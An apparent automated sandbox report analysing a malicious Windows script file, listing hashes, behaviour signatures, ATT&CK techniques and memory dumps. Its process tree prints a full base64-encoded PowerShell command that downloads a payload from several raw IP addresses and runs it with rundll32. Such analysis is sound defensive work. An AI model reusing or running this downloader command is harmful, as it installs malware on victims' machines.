742fc41f10c15a25a4a4f597ad5929c8b342039b20aef6ea9e27e324932e995a

Analysis

max time kernel
27s
max time network
30s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
11/04/2023, 16:33

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General

Target

dp_December.26(58288).wsf
Size

186KB
MD5

5390aaf6fac0b4c448b30285979fe9c2
SHA1

05fc56ff3d86ed4944e378ac79ffadc75208a16c
SHA256

742fc41f10c15a25a4a4f597ad5929c8b342039b20aef6ea9e27e324932e995a
SHA512

475913de3df236bf04bc0037876f25d77dd0c8606337fd22119bf419b55b8c15244af35f4aab1ec70c920055d01c781d04c4ddb62e55bd243aa694a9699a394e
SSDEEP

3072:XSKbnv6Ypi/5IBwdlSi0xtfsq0AwZEdO8Rl+ew+H9w/+MGZSswSF:Jbv6asIBwdlSiUtfsqRdvvpw+H9w/ZGn

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1584	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1584	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1212 wrote to memory of 1584	1212	WScript.exe	28
PID 1212 wrote to memory of 1584	1212	WScript.exe	28
PID 1212 wrote to memory of 1584	1212	WScript.exe	28

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dp_December.26(58288).wsf"
1⤵
- Suspicious use of WriteProcessMemory
PID:1212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7ACQAUABlAGMAawBlAHIAdwBvAG8AZABHAGEAbAB1AG0AcABoAGUAZAAgAD0AIAAoACIAaAB0AHQAcAA6AC8ALwA4ADcALgAyADMANgAuADEANAA2AC4AMwA0AC8ANABCAEkAbgBOAHYAeABNAFkAcQBUAGsALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8ANQAuADQAMgAuADIAMgAxAC4AMQAyADQALwA1AGMAWgA2AGMAeQBPAFAAZwBNAC4AZABhAHQALABoAHQAdABwADoALwAvADEANAA5AC4AMQAwADIALgAyADQAMwAuADIAMAA0AC8ANQBTADQATgBCADcALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8ANAA1AC4AMQA1ADkALgAyADQAOQAuADMAMwAvAE4AQgB2AGcAbQBRAG4ANwBqAE0ALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8ANAA1AC4ANgA2AC4AMgA0ADgALgAxADgANwAvADkATgBoAEYAWQBjAHEALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8ANQAxAC4AMgAyADIALgAxADkAOQAuADIANAA0AC8AdQBuAGIANABTAEEAUABsAEMAMQAuAGQAYQB0ACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFcAaQBkAGUAcgBzAGgAaQBuAHMAQQBsAHQAbwBjAHUAbQB1AGwAdQBzACAAaQBuACAAJABQAGUAYwBrAGUAcgB3AG8AbwBkAEcAYQBsAHUAbQBwAGgAZQBkACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJABXAGkAZABlAHIAcwBoAGkAbgBzAEEAbAB0AG8AYwB1AG0AdQBsAHUAcwAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANQAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAYQBsAGsAYQBtAGkAbgBlAFUAbgBkAHIAZQBhAGQAaQBuAGcALgBVAG4AYwBpAHQAZQBEAGkAZQBnAHUAZQBuAG8AOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABhAGwAawBhAG0AaQBuAGUAVQBuAGQAcgBlAGEAZABpAG4AZwAuAFUAbgBjAGkAdABlAEQAaQBlAGcAdQBlAG4AbwApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABhAGwAawBhAG0AaQBuAGUAVQBuAGQAcgBlAGEAZABpAG4AZwAuAFUAbgBjAGkAdABlAEQAaQBlAGcAdQBlAG4AbwAsAE4AaQBrAG4AOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAyADsAfQB9AA=="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1584

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1584-58-0x0000000002670000-0x00000000026F0000-memory.dmp

Filesize
512KB

Download
memory/1584-59-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

Filesize
2.9MB

Download
memory/1584-60-0x00000000023E0000-0x00000000023E8000-memory.dmp

Filesize
32KB

Download
memory/1584-61-0x0000000002670000-0x00000000026F0000-memory.dmp

Filesize
512KB

Download
memory/1584-62-0x0000000002670000-0x00000000026F0000-memory.dmp

Filesize
512KB

Download